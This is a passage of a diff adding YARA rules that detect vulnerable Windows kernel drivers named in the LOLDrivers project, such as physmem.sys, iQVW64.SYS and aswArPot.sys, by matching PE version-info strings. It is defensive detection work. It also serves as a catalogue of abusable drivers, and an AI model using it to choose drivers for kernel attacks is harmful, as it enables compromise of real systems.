+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Copyright_Advancedmalwareprotection_6F55 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amsdk.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6f55c148bb27c14408cf0f16f344abcd63539174ac855e510a42d78cfaec451c"
+		date = "2023-06-14"
+		score = 40
+		id = "6eb82ac7-9544-5554-b7af-557dd843d29d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e } /* FileDescription AdvancedMalwareProtection */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007000790072006900670068007400200032003000310038002e } /* CompanyName Copyright */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e } /* ProductName AdvancedMalwareProtection */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005a0041004d002e006500780065 } /* OriginalFilename ZAMexe */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000310038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_EEA5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b"
+		date = "2023-06-14"
+		score = 40
+		id = "2942b5b0-7270-5b7a-98f7-beee11e7aa57"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200032002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_2D2C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2d2c7ee9547738a8a676ab785c151e8b48ed40fe7cf6174650814c7f5f58513b"
+		date = "2023-06-14"
+		score = 40
+		id = "f2aefc0c-b851-5341-acee-20d02c838548"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003200200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_5CFA {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5cfad3d473961763306d72c12bd5ae14183a1a5778325c9acacca764b79ca185"
+		date = "2023-06-14"
+		score = 40
+		id = "a563b3de-1a05-55bf-ae93-03e84ef1cb26"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_119C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "119c48b79735fda0ecd973d77d9bdc6b329960caed09b38ab454236ca039d280"
+		date = "2023-06-14"
+		score = 40
+		id = "abb75d3f-eeb2-5ae7-976a-3f9e8627d6ca"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f00360034 } /* FileDescription ALSysIO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e } /* CompanyName ArthurLiberman */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 } /* InternalName ALSysIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f00360034 } /* ProductName ALSysIO */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 } /* OriginalFilename ALSysIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300031003900200041007200740068007500720020004c0069006200650072006d0061006e } /* LegalCopyright CopyrightCArthurLiberman */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_263E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "263e8f1e20612849aea95272da85773f577fd962a7a6d525b53f43407aa7ad24"
+		date = "2023-06-14"
+		score = 40
+		id = "2ff1ee8e-cd67-58e7-b301-e1f7712b6031"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320035002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100300020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_E839 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e83908eba2501a00ef9e74e7d1c8b4ff1279f1cd6051707fd51824f87e4378fa"
+		date = "2023-06-14"
+		score = 40
+		id = "8a7a82a3-f24e-5887-9d95-a997179616d9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004300500055005f00430043 } /* FileDescription NTIOLibforMSICPUCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Hilschergesellschaftfrsystemaoutomationmbh_Physmemsys_Physicalmemoryaccessdriver_C299 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - physmem.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d"
+		date = "2023-06-14"
+		score = 40
+		id = "1759efbf-dabf-5790-a624-9e344884f98c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 } /* FileDescription PhysicalMemoryAccessDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048 } /* CompanyName HilscherGesellschaftfrSystemaoutomationmbH */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 } /* InternalName physmemsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006800790073006900630061006c0020004d0065006d006f0072007900200041006300630065007300730020004400720069007600650072 } /* ProductName PhysicalMemoryAccessDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0070006800790073006d0065006d002e007300790073 } /* OriginalFilename physmemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000480069006c0073006300680065007200200047006500730065006c006c0073006300680061006600740020006600fc0072002000530079007300740065006d0061006f00750074006f006d006100740069006f006e0020006d00620048002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright HilscherGesellschaftfrSystemaoutomationmbHAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_AF10 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "af1011c76a22af7be97a0b3e0ce11aca0509820c59fa7c8eeaaa1b2c0225f75a"
+		date = "2023-06-14"
+		score = 40
+		id = "f80640c2-ec8d-5350-ba26-4dc6974816f2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_ADA4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ada4e42bf5ef58ef1aad94435441003b1cc1fcaa5d38bfdbe1a3d736dc451d47"
+		date = "2023-06-14"
+		score = 40
+		id = "55ef1733-e9e8-5c60-8461-233e4fa4f0ae"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_9B2F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9b2f051ac901ab47d0012a1002cb8b2db28c14e9480c0dd55e1ac11c81ba9285"
+		date = "2023-06-14"
+		score = 40
+		id = "d2e1c8d4-b8a7-5a0d-817a-f68ddda1c652"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Cyreninc_Amp_Cyrenamp_CBB8 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amp.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6"
+		date = "2023-06-14"
+		score = 40
+		id = "a2b01649-d98b-5d99-9fb3-e9a648db62ad"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00500020004d0069006e006900660069006c007400650072 } /* FileDescription AMPMinifilter */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043005900520045004e00200049006e0063002e } /* CompanyName CYRENInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d0050 } /* InternalName AMP */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005900520045004e00200041004d005000200035 } /* ProductName CYRENAMP */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d0070002e007300790073 } /* OriginalFilename ampsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000310039003900390020002d00200032003000310034002e00200043005900520045004e00200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCYRENIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Supermicrocomputerinc_Superbmc_Superbmc_F843 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - superbmc.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35"
+		date = "2023-06-14"
+		score = 40
+		id = "bf870b5d-ab2d-587d-a7ce-da7a02960d2c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007300750070006500720062006d0063 } /* FileDescription superbmc */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* CompanyName SuperMicroComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007300750070006500720062006d0063 } /* InternalName superbmc */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007300750070006500720062006d0063 } /* ProductName superbmc */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007300750070006500720062006d0063002e007300790073 } /* OriginalFilename superbmcsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* LegalCopyright CopyrightcSuperMicroComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1023 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1023dcd4c80db19e9f82f95b1c5e1ddb60db7ac034848dd5cc1c78104a6350f4"
+		date = "2023-06-14"
+		score = 40
+		id = "45f59f43-b8eb-5c58-a386-a7bb19a88253"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_F877 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f877296e8506e6a1acbdacdc5085b18c6842320a2775a329d286bac796f08d54"
+		hash = "de3597ae7196ca8c0750dce296a8a4f58893774f764455a125464766fcc9b3b5"
+		date = "2023-06-14"
+		score = 40
+		id = "b2a52cf7-6f64-5409-8764-e26f7b9e45c8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
